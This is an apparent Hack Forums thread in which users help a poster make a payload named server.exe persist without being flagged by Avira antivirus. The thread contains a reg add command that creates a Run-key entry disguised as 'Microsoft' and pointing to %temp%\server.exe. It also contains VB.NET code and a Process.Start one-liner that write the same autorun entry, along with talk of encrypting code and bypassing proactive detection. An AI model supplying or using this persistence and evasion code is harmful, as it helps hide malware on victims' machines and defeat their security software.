

Forum:[Hack Forums](#)

Thread: [How can i run a .bat from resources without dropping?](#)

legacyxo - January 22, 2015, 2:53 pm

Avira is detecting my streamwriter code so im wondering how i can run a .bat without dropping it.

Alison Wonderland - January 22, 2015, 2:54 pm

depends on length of the batch file I guess
you could always do a single line shell execute

legacyxo - January 22, 2015, 2:57 pm

im trying to do this

```
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d  
%temp%\server.exe
```

nathan72389 - January 22, 2015, 3:01 pm

(Jan 22, 2015 03:57 PM)legacyxo Wrote: [\[CITE\]](#) im trying to do this

```
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d  
%temp%\server.exe
```

lol, there is no point in making a .bat file. everything you need can be done in vb.net

Alison Wonderland - January 22, 2015, 3:06 pm

(Jan 22, 2015 03:57 PM)legacyxo Wrote: [\[CITE\]](#) im trying to do this

```
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d  
%temp%\server.exe
```

why.....

why not just add using vb code...

legacyxo - January 22, 2015, 3:07 pm

lmao still detects my shit even if i use shell. i even encrypted the code.

SIM-1984933 - January 22, 2015, 5:18 pm

(Jan 22, 2015 03:53 PM)legacyxo Wrote: [\[CITE\]](#) Avira is detecting my streamwriter code so im wondering how i can run a .bat without dropping it.

what???? don't use that use System.IO.WriteAllBytes

NETExplorer - January 22, 2015, 6:15 pm

(Jan 22, 2015 06:18 PM)| Hex | Wrote: [\[CITE\]](#) what???? don't use that use System.IO.WriteAllBytes
what???? what is that?

please explain ?

t0fx - January 22, 2015, 7:41 pm

```
Code Public Sub BatchSucksUseVB(ByVal ServerName As String, ByVal ServerPath As String)  
    Dim reg As RegistryKey =  
    Registry.CurrentUser.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run")  
    With reg
```

```
.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
.SetValue(ServerName, ServerPath)
End With
End Sub
Code Try
```

```
BatchSucksUseVB("name", "path")
Catch ex As Exception
'already installed
End Try
```

legacyxo - January 22, 2015, 9:49 pm

(Jan 22, 2015 08:41 PM)t0fx Wrote: [\[CITE\]](#) Code Public Sub BatchSucksUseVB(ByVal ServerName As String, ByVal ServerPath As String)

```
Dim reg As RegistryKey =
Registry.CurrentUser.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
With reg
.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
.SetValue(ServerName, ServerPath)
End With
End Sub
Code Try
```

```
BatchSucksUseVB("name", "path")
Catch ex As Exception
'already installed
End Try
```

That will trigger proactives my method bypasses proactives. Thanks though

Minimal. - January 23, 2015, 1:41 am

(Jan 22, 2015 08:41 PM)t0fx Wrote: [\[CITE\]](#) 'already installed
Not necessarily, there can be tons of other issues throwing an exception.

t0fx - January 23, 2015, 6:25 am

(Jan 22, 2015 10:49 PM)legacyxo Wrote: [\[CITE\]](#) That will trigger proactives my method bypasses proactives. Thanks though
Code Process.Start("CMD", "/C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe")